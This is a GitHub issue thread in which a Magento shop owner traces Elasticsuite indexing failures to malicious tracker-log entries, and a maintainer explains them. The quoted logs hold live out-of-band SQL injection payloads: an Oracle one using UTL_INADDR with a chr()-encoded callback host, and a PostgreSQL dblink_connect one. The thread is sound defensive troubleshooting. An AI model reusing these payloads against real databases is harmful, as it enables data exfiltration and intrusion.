Problem after installing Smile-SA elasticsuite

[antoniocarboni]

HI After I installed Elasticsuite I have a problem with indexes. The update via cron fails, invalidating the indexes and removing products from frontend listings.

The error log report this:

[2024-01-29T12:29:28.473536+00:00] main.ERROR: Cron Job indexer_reindex_all_invalid has an error: {"error":{"root_cause":[{"type":"action_request_validation_exception","reason":"Validation Failed: 1: id [(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(110)||chr(111)||chr(116)||chr(98)||chr(108)||chr(106)||chr(97)||chr(102)||chr(49)||chr(122)||chr(116)||chr(114)||chr(109)||chr(49)||chr(107)||chr(50)||chr(100)||chr(112)||chr(112)||chr(101)||chr(48)||chr(100)||chr(45)||chr(107)||chr(115)||chr(45)||chr(118)||chr(108)||chr(106)||chr(50)||chr(122)||chr(50)||chr(97)||chr(50)||chr(112)||chr(57)||chr(120)||chr(117)||chr(108)||chr(115)||chr(103)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))] is too long, must be no longer than 512 bytes but was: 561;"}],"type":"action_request_validation_exception","reason":"Validation Failed: 1: id [(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(110)||chr(111)||chr(116)||chr(98)||chr(108)||chr(106)||chr(97)||chr(102)||chr(49)||chr(122)||chr(116)||chr(114)||chr(109)||chr(49)||chr(107)||chr(50)||chr(100)||chr(112)||chr(112)||chr(101)||chr(48)||chr(100)||chr(45)||chr(107)||chr(115)||chr(45)||chr(118)||chr(108)||chr(106)||chr(50)||chr(122)||chr(50)||chr(97)||chr(50)||chr(112)||chr(57)||chr(120)||chr(117)||chr(108)||chr(115)||chr(103)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))] is too long, must be no longer than 512 bytes but was: 561;"},"status":400}. Statistics: {"sum":0,"count":1,"realmem":0,"emalloc":0,"realmem_start":409952256,"emalloc_start":243231800} [] []

[2024-01-29T12:29:28.473931+00:00] main.CRITICAL: OpenSearch\Common\Exceptions\BadRequest400Exception: {"error":{"root_cause":[{"type":"action_request_validation_exception","reason":"Validation Failed: 1: id [(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(110)||chr(111)||chr(116)||chr(98)||chr(108)||chr(106)||chr(97)||chr(102)||chr(49)||chr(122)||chr(116)||chr(114)||chr(109)||chr(49)||chr(107)||chr(50)||chr(100)||chr(112)||chr(112)||chr(101)||chr(48)||chr(100)||chr(45)||chr(107)||chr(115)||chr(45)||chr(118)||chr(108)||chr(106)||chr(50)||chr(122)||chr(50)||chr(97)||chr(50)||chr(112)||chr(57)||chr(120)||chr(117)||chr(108)||chr(115)||chr(103)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))] is too long, must be no longer than 512 bytes but was: 561;"}],"type":"action_request_validation_exception","reason":"Validation Failed: 1: id [(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(110)||chr(111)||chr(116)||chr(98)||chr(108)||chr(106)||chr(97)||chr(102)||chr(49)||chr(122)||chr(116)||chr(114)||chr(109)||chr(49)||chr(107)||chr(50)||chr(100)||chr(112)||chr(112)||chr(101)||chr(48)||chr(100)||chr(45)||chr(107)||chr(115)||chr(45)||chr(118)||chr(108)||chr(106)||chr(50)||chr(122)||chr(50)||chr(97)||chr(50)||chr(112)||chr(57)||chr(120)||chr(117)||chr(108)||chr(115)||chr(103)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))] is too long, must be no longer than 512 bytes but was: 561;"},"status":400} in /var/www/clients/client107/web944/private/releases/11/vendor/opensearch-project/opensearch-php/src/OpenSearch/Connections/Connection.php:661

Disabling elasticsuite I have no errors and the products data seems correct.

Opensearch 2.11.0 Magento community Edition 2.4.6-p3 Smile-SA elasticsuite 2.11.5

What could it be?

[romainruaud]

Can you please provide exact versions of all components ?

Especially the version of your Opensearch server which seems really important to know here.

Also, version of Magento and Elasticsuite.

Regards

[antoniocarboni]

ops sorry Here the version of all:

Opensearch 2.11.0 Magento community Edition 2.4.6-p3 Smile-SA elasticsuite 2.11.5

[antoniocarboni]

The problem seems to come from previous logs when elasticsuite was installed before. Specifically, the cause is this in the elasticsuite_tracker_log_event log table. Here one of many row: {"image":"h.png","page":{"store_id":"cast((SELECT dblink_connect('host=notbljaf1zjtj8ifv4dyn615fy1vvkt1t8cmhwve'||'qfg.r87.me user=a password=a connect_timeout=2')) as numeric)","cms":{"identifier":"home","title":"Home page"},"type":{"identifier":"cms_index_index","label":"CMS Home Page"},"site":"www.mysite.it","url":"\/","title":"MySite.it Title","referrer":{"domain":"www.mysite.it","page":"\/pub\/"},"resolution":{"x":"800","y":"400"}},"session":{"uid":"3dab3031-6f0b-aa21-d689-b3ea07f4f0ee","vid":"fd803529-b5e8-2775-79e3-6cffd475b30c"}} what is this? Is it normal or safe to have this type of search log?

[romainruaud]

Well actually this is "safe" because the event was properly escaped, but this was an attempt of SQL injection.

We should have an "is_int" check on store_id at this line : https://github.com/Smile-SA/elasticsuite/blob/2.11.x/src/module-elasticsuite-tracker/Model/EventIndex.php#L78

So such events will not be indexed at all.

[romainruaud]

Hi @antoniocarboni did you delete these events ? What's the situation ?

Regards

[antoniocarboni]

Hi I deleted all rows like these and now the error is gone. But can other sql injections cause problems again n the future?